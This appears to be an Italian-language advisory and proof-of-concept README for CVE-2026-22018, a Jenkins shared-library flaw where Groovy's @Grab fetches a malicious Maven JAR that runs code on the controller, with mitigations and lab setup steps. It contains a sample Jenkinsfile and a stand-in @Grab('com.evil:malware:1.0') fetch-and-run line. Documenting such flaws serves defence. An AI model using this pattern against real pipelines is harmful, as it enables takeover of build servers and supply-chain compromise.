CVE-2026-22018 – Esecuzione di codice nella libreria condivisa della pipeline Jenkins tramite @Grab

Codice del programma (pipeline Groovy)

// Jenkinsfile - loads untrusted shared library
@Library('evil-library@master') _
node {
    evilStep()
}

CVE-2026-22018 – Esecuzione remota di codice nella libreria condivisa della pipeline Jenkins

Panoramica

Una pipeline Jenkins carica una libreria condivisa da una fonte non completamente attendibile. La libreria usa l'annotazione @Grab per scaricare artefatti Maven esterni, che possono includere una classe dannosa in grado di eseguire codice sul controller Jenkins durante la compilazione Groovy.

Dettagli della vulnerabilità

• Tipo: Iniezione di codice / Supply Chain
• Impatto: Compromissione completa del controller Jenkins.
• Causa principale: L'annotazione @Grab di Groovy recupera e carica JAR arbitrari in fase di esecuzione; le librerie condivise non sono in sandbox.

Dimostrazione dell'exploit

Configura una pipeline con una libreria non attendibile che contiene @Grab('com.evil:malware:1.0') in vars/evilStep.groovy. Quando la pipeline viene eseguita, l'inizializzatore statico del JAR dannoso viene eseguito.

Mitigazione

• Utilizzare solo librerie condivise provenienti da repository SCM attendibili e firmati.
• Disabilitare @Grab tramite le impostazioni di sicurezza della sandbox di Groovy.
• Usare con cautela l'opzione della pipeline “Load implicitly”.

Installazione e utilizzo

git clone https://github.com/yourorg/CVE-2026-22018.git
cd CVE-2026-22018
# Set up Jenkins in a lab environment to test.